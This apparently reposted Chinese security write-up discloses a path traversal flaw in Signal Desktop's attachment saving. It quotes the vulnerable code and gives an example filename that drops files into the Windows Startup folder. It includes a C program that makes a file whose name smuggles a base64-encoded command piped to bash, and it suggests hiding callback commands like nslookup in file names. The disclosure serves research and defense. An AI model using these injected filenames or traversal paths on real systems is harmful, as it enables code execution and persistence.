Signal 桌面版 在附件保存中存在路径遍历漏洞

38 阅读5分钟

官网:http://securitytech.cc/

Signal 桌面版 在附件保存中存在路径遍历漏洞

摘要

我在 Signal 桌面版的附件保存功能中发现了一个路径遍历漏洞。应用直接使用消息中的附件 fileName 字段,而没有进行清理或校验。因此,攻击者可以构造一个指向用户所选文件夹外部的文件名(例如指向 Windows 的启动文件夹)。当用户保存附件时,Signal 可能会把文件写入该外部位置。攻击者由此能够把文件投放到系统或用户稍后会运行的位置,进而可能导致远程代码执行。

在测试聊天应用时,首先要检查的就是文件处理。

看到 Dzmitry Lukyanenko 关于 Facebook Messenger for Windows 远程代码执行 的报告后(链接省略),我开始测试其它桌面应用,结果令人惊讶:很多桌面应用都有类似的脆弱点。

我花了很多时间在 WhatsApp for Windows 上面,了解到从 Microsoft Store 安装的应用会在 Windows AppContainer 中运行。

什么是 AppContainer 隔离?

隔离是 AppContainer 环境的主要目标。通过把应用与不必要的资源和其它应用隔离开来,可以降低恶意行为的概率。仅给出最小权限访问可以防止应用和用户访问不应允许的资源。控制对资源的访问有助于保护进程、设备和网络。

更多信息见: https[:]//learn.microsoft.com/en-us/windows/win32/secauthz/appcontainer-isolation

我想在 AppContainer 隔离中找到一个 0-day,以便能在 WhatsApp 中利用路径遍历。

是的——我在 WhatsApp for Windows 中找到了路径遍历!

但它不可利用。:(

我写了一个小的 C 程序,使用 syscall() 来创建看起来像恶意的文件名:

#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

int main() {
const char *filename = "poc.txt`{echo,ZWNobyAieW91IGhhdmUgcHduZWQgWytdISAi}|{base64,-d}|bash`";
int fd;
printf("[*] Target filename: %s\n", filename);
// Call syscall directly
printf("[*] Calling syscall(SYS_openat)...\n");
fd = syscall(SYS_openat, AT_FDCWD, filename,
O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("[!] Failed to create file: %s\n", strerror(errno));
return 1;
}
printf("[+] File created successfully! fd=%d\n", fd);
const char *data = "h4x0r_dz\n";
ssize_t written = write(fd, data, strlen(data));
if (written < 0) {
printf("[!] Failed to write to file: %s\n", strerror(errno));
close(fd);
return 1;
}
printf("[+] Wrote %zd bytes to file.\n", written);
if (close(fd) < 0) {
printf("[!] Failed to close file: %s\n", strerror(errno));
return 1;
}
printf("[+] File closed successfully.\n");
printf("[*] Done.\n");
return 0;
}

项目: https[:]//github.com/h4x0r-dz/createfiles

这个工具有助于测试系统如何处理文件名;有时你甚至能发现命令注入。 我在一些常见攻击中广泛使用过类似方法,比如近期的 WinRAR 0-day。

作为 Web 渗透测试员,你可以像盲 XSS 那样使用这个手法:在文件名中注入类似 nslookup myhost.com 的恶意命令,然后等待执行回传。

一个真实案例:Palo Alto PAN-OS GlobalProtect: CVE-2024-3400 — 任意文件创建 → 命令注入/RCE(链接省略)


下面是我发给 Signal 安全团队的报告(我用 AI 重写了格式 xD):

Signal Desktop — 附件保存中的路径遍历

执行摘要

我在 Signal 桌面版的附件保存流程中发现路径遍历漏洞。攻击者可以控制附件的文件名,使得当用户保存文件时,Signal 会把文件写到所选文件夹以外的位置(例如写入 Windows 的启动文件夹)。这样攻击者可以放置可能在下一次登录时自动运行的文件,进而可能导致远程代码执行。

根本原因

应用过度信任 attachment.fileName。消息中的文件名直接用于建议文件名并构建保存路径,没有进行路径规范化或校验,无法确保最终路径仍在用户指定的保存目录内。

出问题的流程(简要)

1) 不安全的文件名选择 — ts/types/Attachment.js

getSuggestedFilename() 直接返回 attachment.fileName

const getSuggestedFilename = (
attachment,
timestamp,
index,
scenario = "saving-locally"
) => {
const { fileName } = attachment;
if (fileName) {
return fileName; // 直接返回不可信输入
}
// 备用逻辑...
};

问题:没有做任何清理。文件名可能包含 ../..\\,或是绝对路径。

2) 不安全的路径构建 — ts/windows/main/attachments.js

代码直接把 baseDir 和 name 拼接而不校验结果:

filePath = path.join(baseDir, name);  // 未检查 filePath 是否仍在 baseDir 内
await writeWithAttributes(filePath, data);

问题:如果 name 可被攻击者控制,path.join 可能产生位于 baseDir 之外的路径。

3) 基于不可信名称的文件系统检查

getUnusedFilename() 使用 path.join(baseDir, filename) 来检查是否存在:

if (baseDir === null || !fs.existsSync(path.join(baseDir, filename))) {
return filename;
}
...
if (!fs.existsSync(path.join(baseDir, nextFilename))) {
return nextFilename;
}

问题:这些检查使用了由不可信输入构建的路径,可能会去检查或泄露位于意图文件夹之外的文件。

4) 弱的危险文件过滤器

isFileDangerous() 仅检查扩展名:

return DANGEROUS_FILE_TYPES.test(fileName);  // 仅按扩展名检查

问题:过滤器忽略了路径。攻击者可以使用看似无害的扩展名,同时将路径指向危险位置。

示例攻击 — Windows 启动持久化

攻击者构造的文件名示例:

C:\Users\<username
>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\pwn.txt</username
>

攻击步骤:

  1. 攻击者发送一个带有该 fileName 的附件。
    1. 受害者在 Signal Desktop 中点击 “保存”。
    1. Signal 通过 path.join(baseDir, name) 构建路径并写入文件,未检查最终路径是否仍在 baseDir 内。
    1. 文件被写入 Startup 文件夹,可能在下次登录时被执行,从而实现代码执行。

(点击或回车可查看大图)

影响

  • 攻击者可以把文件放置到进程有写权限的任意位置。
    • 这可被用来实现持久化、放置脚本,或在系统后续流程中被利用以从消息升级为代码执行。

为什么在 Signal 可利用而在 WhatsApp 不可?

因为 Signal 不像 WhatsApp 那样在 AppContainer 隔离内运行!

Signal 安全团队在收到报告后很快修补了该漏洞,且确认了我的发现。

(点击或回车可查看大图)

公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx